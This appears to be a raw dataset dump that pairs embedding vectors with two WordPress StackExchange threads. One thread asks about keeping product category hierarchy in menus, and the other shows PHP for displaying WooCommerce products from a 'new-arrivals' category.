-0.0026035308837890625, 0.031829833984375, 0.0643310546875, 0.031463623046875, 0.0186309814453125, -0.045989990234375, -0.0245513916015625, 0.032073974609375, 0.07891845703125, -0.04913330078125, 0.0255126953125, 0.0249786376953125, 0.02099609375, 0.00772857666015625, -0.0274505615234375, 0.03228759765625, -0.0216522216796875, -0.007740020751953125, 0.0169219970703125, -0.022308349609375, -0.00907135009765625, 0.006656646728515625, 0.0004863739013671875, 0.036651611328125, 0.005176544189453125, -0.0213165283203125, -0.0258636474609375, 0.0011014938354492188, 0.030059814453125, 0.0249786376953125, 0.00130462646484375, 0.0240478515625, 0.0289459228515625, 0.0041351318359375, -0.0013904571533203125, 0.01959228515625, -0.0011377334594726562, 0.00461578369140625, -0.0305023193359375, -0.03753662109375, 0.00884246826171875, 0.01812744140625, 0.06292724609375, 0.04632568359375, 0.051116943359375, -0.003498077392578125, -0.021942138671875, 0.040740966796875, 0.036590576171875, -0.0252838134765625, -0.0223541259765625, -0.03594970703125, 0.0293731689453125, 0.036224365234375, 0.0279998779296875, -0.006710052490234375, 0.061431884765625, 0.019805908203125, 0.0285491943359375, -0.0018835067749023438, 0.01210784912109375, 0.0029773712158203125, 0.03521728515625, 0.0273590087890625, 0.006694793701171875, 0.058197021484375, -0.01995849609375, -0.0227203369140625, 0.0214385986328125, 0.00904083251953125, 0.005001068115234375, 0.03692626953125, -0.01332855224609375, 0.03619384765625, -0.0282135009765625, 0.003971099853515625, -0.0213470458984375, -0.0047149658203125, 0.006603240966796875, 0.00018537044525146484, 0.0123291015625, 0.0008907318115234375, -0.0283203125, -0.00788116455078125, -0.0017833709716796875, -0.0009603500366210938, -0.014739990234375, 0.0654296875, -0.024749755859375, 0.003143310546875, -0.0175018310546875, 0.046112060546875, -0.04071044921875, -0.007579803466796875, 0.0245208740234375, 0.00917816162109375, 0.007965087890625, -0.020050048828125, -0.031646728515625, 0.04083251953125, 0.0222930908203125, -0.0118865966796875, 0.039398193359375, -0.024383544921875, 0.0209197998046875, -0.006839752197265625, -0.01204681396484375, -0.007843017578125, -0.007099151611328125, 0.035430908203125, 0.033966064453125, 0.01763916015625, 0.049102783203125, 0.01471710205078125, 0.0816650390625, 0.006214141845703125, 0.045013427734375, 0.0093231201171875, -0.03436279296875, 0.0040283203125, 0.0117950439453125, -0.029327392578125, 0.024322509765625, 0.01302337646484375, -0.0078125, -0.0018329620361328125, 0.0178985595703125, -0.01837158203125, 0.0098419189453125, -0.0247039794921875, 0.0112152099609375, 0.059326171875, 0.06982421875, 0.0123138427734375, 0.05316162109375, -0.002117156982421875, -0.00441741943359375, 0.0377197265625, 0.0177459716796875, -0.01153564453125, -0.01369476318359375, -0.033660888671875, -0.009490966796875, -0.017486572265625, -0.043914794921875, -0.042449951171875, 0.023895263671875, -0.007633209228515625, -0.01049041748046875, -0.06158447265625, 0.03076171875, -0.0059051513671875, 0.051239013671875, -0.05322265625, -0.0452880859375, 0.0260009765625, 0.050506591796875, 0.008148193359375, -0.029510498046875, -0.0216064453125, 0.0154876708984375, -0.02276611328125, 0.0250091552734375, 0.01708984375, -0.0218353271484375, 0.002841949462890625, 0.00321197509765625, 0.02545166015625, 0.052276611328125, 0.02581787109375, -0.020355224609375, 0.0240631103515625, -0.0008492469787597656, 0.00783538818359375, -0.109130859375, -0.0254364013671875, -0.075439453125, 0.060638427734375, 0.0120697021484375, -0.00022101402282714844, 0.02911376953125, -0.04168701171875, -0.1204833984375, 0.068359375, -0.0225677490234375, -0.040557861328125, -0.00200653076171875, -0.04400634765625, -0.0121917724609375, 0.0305328369140625, -0.01006317138671875, 0.003627777099609375, -0.0313720703125, 0.0246429443359375, -0.0025463104248046875, 0.033721923828125, -0.01158905029296875, 0.002338409423828125, -0.031097412109375, 0.0266265869140625, -0.005855560302734375, -0.0007953643798828125, -0.01258087158203125, 0.005992889404296875, 0.0174407958984375, 0.0302276611328125, -0.0079345703125, -0.00394439697265625, 0.016357421875, -0.0294189453125, -0.0017652511596679688, -0.0233917236328125, -0.03857421875, 0.00757598876953125, 0.06646728515625, 0.0648193359375, 0.031341552734375, -0.043609619140625, 0.01482391357421875, -0.00925445556640625, -0.007762908935546875, -0.0027141571044921875, -0.0022525787353515625, -0.01395416259765625, 0.00457763671875, -0.00634765625, -0.01922607421875, -0.0298919677734375, 0.0283203125, -0.02459716796875, -0.0024738311767578125, 0.01390838623046875, -0.02667236328125, 0.026519775390625, -0.01132965087890625, 0.029144287109375, -0.0185699462890625, 0.00290679931640625, -0.01544952392578125, 0.0305938720703125, 0.01004791259765625, -0.0140228271484375, -0.03558349609375, -0.01497650146484375, 0.002193450927734375, 0.005130767822265625, -0.01383209228515625, 0.007213592529296875, -0.0025424957275390625, 0.006801605224609375, -0.029144287109375, 0.015869140625, 0.0012426376342773438, 0.0244293212890625, -0.008880615234375, 0.007045745849609375, 0.00722503662109375, 0.06524658203125, -0.01381683349609375, 0.05511474609375, -0.0266265869140625, 0.04669189453125, 0.00426483154296875, -0.00643157958984375, 0.029388427734375, -0.00925445556640625, 0.005584716796875, 0.020294189453125, 0.0188446044921875, -0.04486083984375, 0.04229736328125, 0.03643798828125, 0.01506805419921875, 0.0234222412109375 ]
29569b96799fa92f7b7606ca5cefe580c672792d
Wordpress Stackexchange Q: Add Product categories to Wordpress menu without losing hierarchy I need to add product categories to Wordpress menu, but when I'm doing this with WP interface it lose the hierarchy I tried with WP-CLI, but there is no method to specify wich item is the child. There is a method to do it? There is a ton of categories (3-4 level deep), I cannot do this manually I can buy also a plugin. Can you suggest something? Thanks a lot
Q: Add Product categories to Wordpress menu without losing hierarchy I need to add product categories to Wordpress menu, but when I'm doing this with WP interface it lose the hierarchy I tried with WP-CLI, but there is no method to specify wich item is the child. There is a method to do it? There is a ton of categories (3-4 level deep), I cannot do this manually I can buy also a plugin. Can you suggest something? Thanks a lot
wordpress
{ "language": "en", "length": 81, "provenance": "stackexchange_00019.jsonl.gz:486874", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305945" }
[ 0.0318603515625, 0.00916290283203125, -0.01959228515625, -0.040313720703125, 0.0340576171875, -0.035858154296875, 0.028533935546875, -0.01363372802734375, -0.031402587890625, 0.00864410400390625, -0.0004782676696777344, -0.0212249755859375, -0.032135009765625, -0.04058837890625, -0.009552001953125, -0.056854248046875, 0.0228118896484375, 0.01171112060546875, 0.03204345703125, -0.006824493408203125, -0.006809234619140625, 0.01366424560546875, 0.0233306884765625, 0.00792694091796875, 0.042510986328125, -0.0159149169921875, -0.02294921875, -0.04266357421875, 0.0235443115234375, -0.0167694091796875, 0.0168609619140625, -0.004314422607421875, 0.0029621124267578125, -0.0276031494140625, 0.0867919921875, 0.040802001953125, 0.0200958251953125, 0.0005617141723632812, 0.052276611328125, -0.0168914794921875, 0.018798828125, -0.00907135009765625, 0.057281494140625, 0.005847930908203125, 0.019287109375, -0.025543212890625, -0.003391265869140625, -0.061920166015625, 0.0008664131164550781, -0.07537841796875, 0.0309295654296875, 0.0204620361328125, 0.057373046875, -0.07098388671875, -0.024658203125, 0.034423828125, -0.00922393798828125, -0.0105133056640625, 0.0247650146484375, -0.0018205642700195312, -0.00827789306640625, -0.00959014892578125, 0.0204315185546875, 0.0015001296997070312, 0.016082763671875, 0.0031681060791015625, -0.01392364501953125, 0.025634765625, -0.09149169921875, 0.0200653076171875, 0.05865478515625, -0.07989501953125, 0.00469970703125, 0.019287109375, -0.00493621826171875, -0.0665283203125, 0.01331329345703125, -0.063232421875, 0.0199432373046875, 0.04150390625, 0.0020084381103515625, 0.0223541259765625, 0.0020961761474609375, -0.054901123046875, 0.02227783203125, -0.022369384765625, -0.013824462890625, -0.009765625, -0.024322509765625, -0.028564453125, -0.01445770263671875, -0.0243682861328125, -0.0745849609375, 0.038299560546875, 0.006832122802734375, 0.00678253173828125, 0.015625, 0.0200958251953125, -0.0080413818359375, 0.02288818359375, 0.02197265625, -0.040618896484375, 0.056060791015625, -0.0302276611328125, -0.00043392181396484375, -0.001094818115234375, -0.0170440673828125, -0.0005702972412109375, 0.048126220703125, 0.047943115234375, -0.00832366943359375, 0.06805419921875, 0.0250091552734375, -0.05517578125, 0.0247650146484375, 0.034088134765625, 0.0196533203125, 0.0733642578125, 0.0309600830078125, 0.027099609375, -0.018280029296875, 0.0181121826171875, -0.02081298828125, 0.016632080078125, -0.0035076141357421875, 0.0034427642822265625, 0.0114288330078125, -0.015380859375, 0.0010967254638671875, -0.02423095703125, -0.032623291015625, 0.040008544921875, 0.0838623046875, 0.046875, 0.0097808837890625, 0.00655364990234375, 0.0102996826171875, 0.01183319091796875, 0.0255584716796875, 0.00789642333984375, 0.02423095703125, -0.01250457763671875, 0.009429931640625, 0.0172882080078125, 0.0280914306640625, -0.0055694580078125, -0.00731658935546875, 0.0257110595703125, 0.0428466796875, 0.0008306503295898438, 0.028961181640625, -0.0299072265625, 0.02825927734375, 0.01654052734375, -0.003673553466796875, -0.00576019287109375, 0.043060302734375, -0.027191162109375, -0.011016845703125, -0.0380859375, -0.05303955078125, 0.00434112548828125, 0.0687255859375, -0.0545654296875, -0.054412841796875, 0.014862060546875, -0.059967041015625, -0.00983428955078125, 0.021270751953125, -0.0097198486328125, 0.0237884521484375, -0.009307861328125, 0.00257110595703125, -0.00615692138671875, 0.0041961669921875, 0.010162353515625, -0.0088348388671875, -0.01116943359375, 0.0333251953125, 0.024505615234375, -0.0141143798828125, -0.042724609375, 0.0141143798828125, -0.006023406982421875, -0.0517578125, 0.0238189697265625, 0.0029010772705078125, 0.070068359375, 0.0290679931640625, 0.015625, 0.0237884521484375, -0.006587982177734375, -0.0648193359375, -0.0010423660278320312, 0.004108428955078125, -0.0169677734375, 0.00228118896484375, -0.004852294921875, -0.0036029815673828125, 0.0022125244140625, -0.0217742919921875, 0.0029811859130859375, -0.002288818359375, 0.0002391338348388672, -0.0164642333984375, -0.01488494873046875, 0.00150299072265625, 0.033660888671875, 0.03643798828125, -0.0189208984375, -0.018463134765625, -0.0212554931640625, 0.028472900390625, -0.1007080078125, -0.055419921875, 0.0282745361328125, -0.01142120361328125, 0.033538818359375, 0.00107574462890625, -0.00537109375, 0.0156402587890625, 0.01001739501953125, 0.0282745361328125, 0.035797119140625, 0.0293426513671875, 0.01505279541015625, -0.01531982421875, 0.006038665771484375, 0.052215576171875, 0.03564453125, -0.025970458984375, -0.0272674560546875, 0.039794921875, 0.0193939208984375, -0.038330078125, 0.011077880859375, -0.00525665283203125, -0.048675537109375, -0.01399993896484375, 0.044677734375, 0.0208282470703125, 0.0304412841796875, -0.0272216796875, 0.007244110107421875, 0.048919677734375, -0.0517578125, -0.0301666259765625, 0.0184173583984375, -0.041229248046875, 0.00946044921875, 0.063720703125, 0.03265380859375, -0.003665924072265625, 0.01519775390625, -0.00426483154296875, 0.0140228271484375, 0.0198211669921875, -0.004360198974609375, -0.0029296875, 0.0101318359375, 0.0119781494140625, -0.00640106201171875, -0.051361083984375, 0.002410888671875, 0.005130767822265625, 0.00350189208984375, 0.013092041015625, 0.018157958984375, -0.01187896728515625, -0.0230712890625, 0.02099609375, 0.006256103515625, 0.0011310577392578125, 0.017333984375, -0.00041794776916503906, -0.015869140625, -0.0259857177734375, -0.00814056396484375, 0.0021800994873046875, -0.0056304931640625, -0.0011548995971679688, 0.046112060546875, 0.0589599609375, -0.0148468017578125, -0.0408935546875, -0.0406494140625, 0.0408935546875, 0.0154571533203125, -0.03948974609375, -0.033294677734375, 0.0120849609375, -0.0009031295776367188, -0.02349853515625, 0.0002942085266113281, -0.035400390625, -0.0184783935546875, 0.02716064453125, 0.00557708740234375, 0.01629638671875, 0.00830841064453125, 0.0172271728515625, 0.042266845703125, -0.004039764404296875, 0.0035839080810546875, 0.002872467041015625, 0.01509857177734375, 0.0181884765625, 0.006290435791015625, -0.0032444000244140625, 0.0173797607421875, -0.05194091796875, 0.0024013519287109375, 0.0276947021484375, 0.0113525390625, 0.033050537109375, -0.0197906494140625, 0.0239715576171875, 0.0258026123046875, -0.02685546875, -0.04791259765625, 0.005443572998046875, -0.04931640625, 0.0006823539733886719, 0.0225067138671875, -0.0210113525390625, -0.017913818359375, 0.0640869140625, -0.000110626220703125, -0.0018367767333984375, -0.03936767578125, -0.018310546875, -0.047821044921875, -0.039154052734375, -0.0216064453125, -0.0184173583984375, -0.02630615234375, 0.01149749755859375, 0.07208251953125, 0.00213623046875, -0.07073974609375, -0.02911376953125, 0.0245208740234375, -0.00910186767578125, 0.01513671875, 0.01922607421875, -0.03753662109375, 0.0268402099609375, 0.01190948486328125, 0.004680633544921875, 0.031005859375, -0.01593017578125, -0.005374908447265625, -0.0293731689453125, 0.0015172958374023438, 0.005725860595703125, 0.01611328125, 0.038421630859375, 0.0323486328125, 0.038909912109375, -0.0166778564453125, -0.0060882568359375, 0.00665283203125, -0.00027942657470703125, -0.00823974609375, -0.0257720947265625, -0.015960693359375, -0.040557861328125, 0.037017822265625, -0.004863739013671875, 0.005199432373046875, 0.004627227783203125, -0.01395416259765625, 0.00923919677734375, -0.02001953125, -0.0269775390625, -0.0129547119140625, 0.028045654296875, -0.0256500244140625, -0.020843505859375, -0.020355224609375, 0.0020885467529296875, -0.01079559326171875, 0.01123046875, -0.025299072265625, -0.050018310546875, 0.01229095458984375, -0.044586181640625, 0.0108489990234375, -0.036285400390625, -0.00530242919921875, 0.005092620849609375, 0.07666015625, -0.0125579833984375, -0.036529541015625, -0.02557373046875, 0.0193634033203125, -0.01140594482421875, -0.0419921875, -0.01244354248046875, -0.03173828125, -0.0292816162109375, 0.0093536376953125, -0.001617431640625, -0.0196685791015625, -0.0109100341796875, 0.035858154296875, -0.0220947265625, -0.00922393798828125, 0.0660400390625, -0.07244873046875, 0.032501220703125, 0.01113128662109375, 0.003444671630859375, -0.0127716064453125, -0.051513671875, -0.0083465576171875, -0.05572509765625, -0.01500701904296875, -0.0076446533203125, 0.05181884765625, -0.005779266357421875, 0.016448974609375, -0.0035457611083984375, 0.05987548828125, 0.005725860595703125, 0.01406097412109375, 0.0194549560546875, 0.03515625, -0.01512908935546875, -0.04095458984375, 0.005908966064453125, -0.05218505859375, -0.0257568359375, -0.032867431640625, 0.0048065185546875, 0.0384521484375, -0.0235443115234375, 0.00027751922607421875, -0.0192108154296875, 0.01045989990234375, -0.06951904296875, -0.054473876953125, -0.03363037109375, -0.0169830322265625, -0.00797271728515625, -0.007381439208984375, -0.051544189453125, -0.06658935546875, 0.02764892578125, 0.01435089111328125, -0.022369384765625, -0.005702972412109375, 0.0216064453125, 0.01372528076171875, -0.032501220703125, -0.007904052734375, 0.0022411346435546875, 0.0290374755859375, -0.0201873779296875, 0.044342041015625, -0.00591278076171875, -0.0094451904296875, 0.040191650390625, -0.0084228515625, 0.041656494140625, -0.0022449493408203125, 0.0482177734375, 0.0159759521484375, 0.007221221923828125, 0.0239715576171875, 0.037994384765625, -0.047637939453125, 0.0151214599609375, -0.016265869140625, -0.0333251953125, -0.04559326171875, 0.06396484375, 0.0202789306640625, 0.0018243789672851562, -0.07293701171875, -0.0145263671875, 0.01128387451171875, -0.0472412109375, 0.00615692138671875, 0.02154541015625, -0.005489349365234375, -0.00629425048828125, -0.0283966064453125, -0.01015472412109375, -0.0237274169921875, -0.0008587837219238281, -0.017974853515625, 0.0291290283203125, -0.040496826171875, -0.0134735107421875, -0.02203369140625, -0.01873779296875, 0.043212890625, 0.02642822265625, -0.01403045654296875, -0.0095977783203125, -0.01102447509765625, 0.019317626953125, 0.002727508544921875, -0.01293182373046875, 0.017974853515625, -0.0004813671112060547, 0.0050506591796875, -0.0170745849609375, -0.0733642578125, 0.0220184326171875, -0.0364990234375, 0.007076263427734375, -0.0018939971923828125, -0.0220184326171875, 0.0244903564453125, -0.00011026859283447266, -0.018585205078125, -0.003185272216796875, 0.003398895263671875, -0.0065765380859375, 0.0143890380859375, 0.0173187255859375, 0.0228271484375, -0.0223846435546875, 0.007129669189453125, -0.0093994140625, 0.054718017578125, -0.0290374755859375, -0.0318603515625, 0.0143585205078125, 0.05712890625, 0.004032135009765625, 0.0049591064453125, -0.0072021484375, -0.0281982421875, -0.002689361572265625, -0.0191650390625, -0.0304107666015625, -0.003459930419921875, -0.00911712646484375, 0.0088653564453125, 0.0242767333984375, 0.00942230224609375, -0.020843505859375, -0.0152435302734375, -0.0206756591796875, -0.004970550537109375, 0.061798095703125, -0.04779052734375, 0.0259246826171875, 0.0160980224609375, -0.0794677734375, -0.0177459716796875, 0.0127105712890625, -0.08746337890625, -0.02764892578125, -0.00333404541015625, -0.0313720703125, 0.0279083251953125, -0.004169464111328125, 0.05963134765625, -0.04290771484375, -0.00911712646484375, -0.0041656494140625, 0.0008282661437988281, 0.04718017578125, 0.03790283203125, -0.0308074951171875, -0.018890380859375, -0.03448486328125, -0.041778564453125, -0.01421356201171875, -0.0162506103515625, -0.0489501953125, 0.0086822509765625, 0.00717926025390625, 0.0235137939453125, -0.004108428955078125, -0.02081298828125, -0.052276611328125, 0.018035888671875, 0.03045654296875, 0.00135040283203125, -0.00888824462890625, 0.0307464599609375, -0.006359100341796875, 0.027618408203125, 0.005218505859375, -0.0008516311645507812, -0.0098419189453125, -0.015533447265625, 0.0152130126953125, -0.022979736328125, -0.01515960693359375, -0.0295562744140625, -0.0245208740234375, 0.00555419921875, 0.047607421875, -0.01043701171875, 0.037384033203125, -0.023040771484375, 0.01226806640625, -0.01409912109375, 0.01462554931640625, -0.052337646484375, -0.0318603515625, 0.0650634765625, -0.057220458984375, 0.007297515869140625, 0.0177459716796875, 0.01284027099609375, 0.02532958984375, -0.035400390625, 0.02105712890625, 0.04095458984375, -0.07061767578125, 0.075439453125, 0.045684814453125, 0.0177001953125, 0.0262603759765625, -0.0152587890625, 0.0208892822265625, -0.0250396728515625, 0.005092620849609375, -0.00751495361328125, 0.0251312255859375, 0.043853759765625, -0.004238128662109375, -0.0285186767578125, 0.012542724609375, -0.036773681640625, -0.019775390625, 0.0272369384765625, 0.035430908203125, -0.04931640625, 0.00846099853515625, 0.0072479248046875, -0.0170745849609375, 0.002635955810546875, 0.0323486328125, -0.01125335693359375, 0.020172119140625, -0.00982666015625, -0.031951904296875, -0.0207061767578125, 0.003734588623046875, 0.010711669921875, -0.00734710693359375, -0.0025424957275390625, 0.005687713623046875, 0.0193328857421875, 0.00640869140625, -0.0199737548828125, -0.0059356689453125, 0.0168609619140625, -0.0087432861328125, -0.0152130126953125, 0.0222015380859375, -0.01558685302734375, -0.01641845703125, 0.0673828125, -0.03961181640625, 0.03948974609375, 0.0269622802734375, -0.0148468017578125, -0.0017824172973632812, 0.02642822265625, -0.0227508544921875, 0.0247802734375, -0.0012941360473632812, -0.049224853515625, 0.047760009765625, 0.0181427001953125, 0.0220794677734375, -0.0246124267578125, -0.06280517578125, -0.0282440185546875, -0.06158447265625, 0.0253753662109375, -0.01531982421875, 0.0020313262939453125, 0.052642822265625, -0.0377197265625, -0.014404296875, 0.03240966796875, 0.00714111328125, -0.00734710693359375, 0.0169525146484375, 0.02056884765625, 0.003292083740234375, 0.030242919921875, 0.03631591796875, 0.039337158203125, -0.0025997161865234375, 0.0289764404296875, -0.055511474609375, 0.0531005859375, -0.034423828125, 0.01253509521484375, 0.0152130126953125, 0.0216217041015625, -0.01442718505859375, -0.0006566047668457031, -0.03338623046875, 0.0268402099609375, 0.06842041015625, 0.0355224609375, -0.04266357421875, -0.0521240234375, 0.0098114013671875, 0.07733154296875, 0.05096435546875, 0.0110015869140625, -0.04095458984375, -0.01702880859375, 0.046661376953125, 0.0294647216796875, 0.0002987384796142578, 0.048858642578125, -0.011993408203125, -0.056884765625, 0.0302276611328125, 0.03155517578125, 0.0631103515625, -0.0243377685546875, -0.0203704833984375, -0.016937255859375, 0.0157318115234375, 0.0242919921875, -0.03082275390625, 0.031707763671875, 0.0225830078125, -0.0311279296875, -0.020172119140625, -0.0255889892578125, 0.012420654296875, 0.0143280029296875, -0.0233306884765625, -0.005840301513671875, -0.003978729248046875, -0.027984619140625, 0.026519775390625, -0.0188140869140625, 0.0285491943359375, 0.03338623046875, 0.026214599609375, 0.0178985595703125, 0.016693115234375, 0.018798828125, 0.04595947265625, -0.039581298828125, 0.018829345703125, 0.01812744140625, 0.024566650390625, -0.01348876953125, 0.0224151611328125, 0.04718017578125, 0.0260162353515625, -0.0357666015625, -0.0814208984375, 0.00890350341796875, 0.031585693359375, 0.035980224609375, 0.02935791015625, 0.050994873046875, -0.005046844482421875, 0.06915283203125, -0.0426025390625, 0.006969451904296875, 0.04608154296875, 0.0160675048828125, 0.0258941650390625, 0.03936767578125, -0.0518798828125, -0.0131072998046875, -0.03289794921875, 0.00839996337890625, -0.0010404586791992188, 0.06378173828125, 0.019134521484375, 0.0770263671875, -0.042388916015625, -0.04486083984375, 0.0005779266357421875, 0.0284271240234375, 0.01506805419921875, -0.01175689697265625, 0.0012235641479492188, -0.0293731689453125, 0.02728271484375, 0.001743316650390625, -0.01552581787109375, 0.03802490234375, 0.0592041015625, 0.084716796875, -0.0016660690307617188, -0.02752685546875, 0.06500244140625, -0.0024318695068359375, -0.034027099609375, -0.01678466796875, 0.0306243896484375, 0.058349609375, 0.02313232421875, -0.0018091201782226562, 0.025146484375, 0.0693359375, -0.022735595703125, 0.0301361083984375, -0.01230621337890625, -0.0253448486328125, 0.0347900390625, -0.009002685546875, 0.043426513671875, 0.00461578369140625, -0.101806640625, -0.046173095703125, 0.004589080810546875, -0.00099945068359375, 0.037933349609375, 0.035491943359375, -0.0264739990234375, 0.0347900390625, 0.01181793212890625, -0.032684326171875, 0.00865936279296875, 0.0293121337890625, 0.00543975830078125, 0.0177001953125, 0.0229339599609375, -0.0002872943878173828, -0.0186920166015625, 0.0133056640625, -0.01177978515625, -0.01348876953125, 0.04248046875, 0.04498291015625, 0.01239013671875, 0.0159149169921875, -0.01026153564453125, 0.01137542724609375, -0.04351806640625, -0.01490020751953125, 0.0287933349609375, -0.00019860267639160156, -0.0056915283203125, 0.00004291534423828125, -0.038238525390625, -0.017486572265625, 0.06683349609375, -0.0201568603515625, -0.004150390625, -0.034576416015625, 0.033050537109375, -0.05621337890625, 0.040252685546875, -0.01335906982421875, -0.00484466552734375, -0.04290771484375, -0.06390380859375, 0.0533447265625, 0.036102294921875, 0.0390625, 0.020721435546875, 0.0042266845703125, -0.001354217529296875, -0.0029239654541015625, 0.00455474853515625, -0.035552978515625, 0.0214080810546875, 0.0128326416015625, 0.000621795654296875, 0.05950927734375, -0.0089111328125, 0.0299835205078125, 0.019866943359375, 0.03363037109375, 0.04443359375, -0.05511474609375, 0.0133056640625, 0.04541015625, 0.0374755859375, -0.017852783203125, 0.006450653076171875, 0.0258941650390625, -0.032806396484375, 0.003932952880859375, -0.015716552734375, -0.044036865234375, -0.056732177734375, 0.0263824462890625, 0.0225372314453125, -0.037109375, -0.020111083984375, -0.0887451171875, 0.017364501953125, 0.06304931640625, 0.0308380126953125, -0.0804443359375, 0.0714111328125, -0.0029735565185546875, 0.035888671875, 0.026336669921875, -0.04052734375, 0.012054443359375, -0.001750946044921875, -0.033172607421875, 0.0245208740234375, -0.0435791015625, -0.028961181640625, -0.017578125, 0.0299835205078125, 0.018218994140625, -0.0272064208984375, 0.04119873046875, 0.0188140869140625, 0.0272216796875, 0.0843505859375, 0.049285888671875, -0.0249786376953125, -0.03363037109375, 0.01502227783203125, -0.0081024169921875, 0.0064239501953125, 0.045013427734375, -0.04595947265625, -0.045623779296875, -0.0355224609375, 0.030487060546875, 0.041534423828125, -0.037078857421875, -0.09197998046875, 0.0797119140625, -0.035400390625, -0.042144775390625, -0.0018978118896484375, -0.03216552734375, -0.0572509765625, 0.06982421875, 0.0062255859375, -0.0019292831420898438, 0.002986907958984375, 0.06683349609375, -0.004253387451171875, 0.031524658203125, -0.01153564453125, 0.0037975311279296875, -0.02252197265625, 0.016021728515625, 0.0038299560546875, 0.004718780517578125, -0.00901031494140625, 0.01140594482421875, -0.0106048583984375, 0.010162353515625, -0.053680419921875, 0.01007080078125, -0.0059356689453125, 0.0328369140625, 0.0288848876953125, -0.050750732421875, -0.0308990478515625, -0.07232666015625, -0.0024814605712890625, -0.019439697265625, 0.006992340087890625, 0.046539306640625, -0.0146942138671875, -0.01276397705078125, 0.0172119140625, -0.011566162109375, -0.01068878173828125, -0.0309295654296875, -0.007137298583984375, -0.0190887451171875, 0.01041412353515625, -0.00717926025390625, 0.02166748046875, -0.0218048095703125, -0.0234527587890625, 0.016571044921875, -0.005672454833984375, -0.0625, -0.01153564453125, -0.002727508544921875, -0.0210723876953125, -0.057586669921875, 0.0177764892578125, 0.01238250732421875, -0.05718994140625, 0.00798797607421875, -0.0240478515625, 0.039794921875, -0.031646728515625, 0.0172119140625, -0.00916290283203125, 0.033050537109375, -0.037109375, 0.03863525390625, -0.013824462890625, 0.03143310546875, 0.006763458251953125, 0.034759521484375, -0.017486572265625, 0.057281494140625, 0.0260467529296875, 0.049163818359375, -0.00009500980377197266, -0.006206512451171875, -0.030303955078125, 0.046295166015625, -0.007701873779296875, -0.0095977783203125, 0.03338623046875, -0.035400390625, -0.007717132568359375, -0.0016393661499023438, -0.04986572265625, -0.05615234375, 0.01180267333984375, 0.0235443115234375, -0.026580810546875, 0.014251708984375 ]
510bdefa8c8b5a8afa550c6b2f2a6bb728d63dd8
Wordpress Stackexchange Q: How do I display certain products via their category on a section of a page using PHP? I need to display New Arrivals in a section of my homepage, I have created a new arrivals category and would like to display the products in this category on a page, I don't want to use the shortcode as I am writing the html & php for this page. Any help would be appreciated, thanks. A: you can still use a shortcode inside of php if you aren't customizing the output. see https://docs.woocommerce.com/document/woocommerce-shortcodes/#scenario-5-specific-categories and https://developer.wordpress.org/reference/functions/do_shortcode/ <?php echo do_shortcode('[products category="new-arrivals"]'); ?> Alternatively, If you need to customize the output of the products then just use wc_get_products to get a list of products and iterate through it. See https://github.com/woocommerce/woocommerce/wiki/wc_get_products-and-WC_Product_Query <?php $args = array( 'category' => array( 'new-arrivals' ), ); $products = wc_get_products( $args ); foreach ($products as $product) { echo $product->get_title() . ' ' . $product->get_price(); } ?>
Q: How do I display certain products via their category on a section of a page using PHP? I need to display New Arrivals in a section of my homepage, I have created a new arrivals category and would like to display the products in this category on a page, I don't want to use the shortcode as I am writing the html & php for this page. Any help would be appreciated, thanks. A: you can still use a shortcode inside of php if you aren't customizing the output. see https://docs.woocommerce.com/document/woocommerce-shortcodes/#scenario-5-specific-categories and https://developer.wordpress.org/reference/functions/do_shortcode/ <?php echo do_shortcode('[products category="new-arrivals"]'); ?> Alternatively, If you need to customize the output of the products then just use wc_get_products to get a list of products and iterate through it. See https://github.com/woocommerce/woocommerce/wiki/wc_get_products-and-WC_Product_Query <?php $args = array( 'category' => array( 'new-arrivals' ), ); $products = wc_get_products( $args ); foreach ($products as $product) { echo $product->get_title() . ' ' . $product->get_price(); } ?> A: Assuming woocommerce plugin is in place: if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) { $args = array('category' => array( 'Your category name' ), ); $products = wc_get_products( $args ); foreach ($products as $product) { DebugLog('Title: '. $product->get_name() . ' Price: ' . $product->get_price()) ; } } $product->get_title(), does not always seem to display the product name.
wordpress
{ "language": "en", "length": 217, "provenance": "stackexchange_00019.jsonl.gz:486899", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306011" }
[ 0.0228729248046875, -0.0200042724609375, -0.027679443359375, -0.0203704833984375, 0.0003426074981689453, -0.038421630859375, 0.0386962890625, -0.004222869873046875, -0.0223236083984375, 0.0079803466796875, -0.042999267578125, -0.0241851806640625, -0.082763671875, -0.01361083984375, -0.037139892578125, -0.09063720703125, 0.041259765625, -0.0275726318359375, 0.0362548828125, 0.0124053955078125, -0.0011701583862304688, 0.052398681640625, 0.033416748046875, 0.05194091796875, 0.0121612548828125, -0.0186309814453125, 0.058746337890625, -0.023529052734375, -0.0018129348754882812, -0.020172119140625, 0.00510406494140625, 0.0014467239379882812, 0.043548583984375, -0.00630950927734375, 0.00954437255859375, 0.08831787109375, 0.041229248046875, -0.019500732421875, 0.0099639892578125, 0.036285400390625, 0.04052734375, -0.030242919921875, 0.00798797607421875, 0.01419830322265625, 0.0050506591796875, -0.015289306640625, 0.006084442138671875, -0.045867919921875, -0.0027313232421875, -0.0144195556640625, 0.0178070068359375, 0.01654052734375, 0.0159759521484375, -0.01331329345703125, -0.0171966552734375, 0.0071563720703125, -0.043182373046875, -0.0079345703125, 0.0252685546875, 0.005889892578125, -0.0184478759765625, -0.0309295654296875, 0.02130126953125, -0.02301025390625, -0.01251220703125, 0.021759033203125, 0.04571533203125, 0.0086212158203125, -0.012115478515625, -0.0046539306640625, 0.016021728515625, -0.00084686279296875, 0.0016498565673828125, -0.002288818359375, -0.004505157470703125, -0.0205535888671875, 0.001743316650390625, -0.0244903564453125, 0.00981903076171875, 0.030731201171875, 0.0213623046875, -0.01934814453125, 0.0012331008911132812, -0.039520263671875, 0.0357666015625, -0.016357421875, 0.00965118408203125, -0.001220703125, -0.0157623291015625, -0.030853271484375, -0.022979736328125, -0.005435943603515625, -0.033203125, 0.006404876708984375, 0.00159454345703125, -0.032745361328125, -0.01800537109375, 0.013702392578125, 0.0015535354614257812, 0.0298309326171875, -0.01480865478515625, -0.0312042236328125, 0.031707763671875, -0.035552978515625, 0.0190582275390625, 0.036529541015625, -0.01464080810546875, -0.01424407958984375, 0.041290283203125, 0.031280517578125, 0.0189361572265625, 0.055084228515625, -0.044189453125, -0.05078125, 0.02008056640625, 0.052276611328125, -0.054046630859375, 0.03936767578125, 0.014984130859375, 0.0299835205078125, 0.00830841064453125, 0.049560546875, 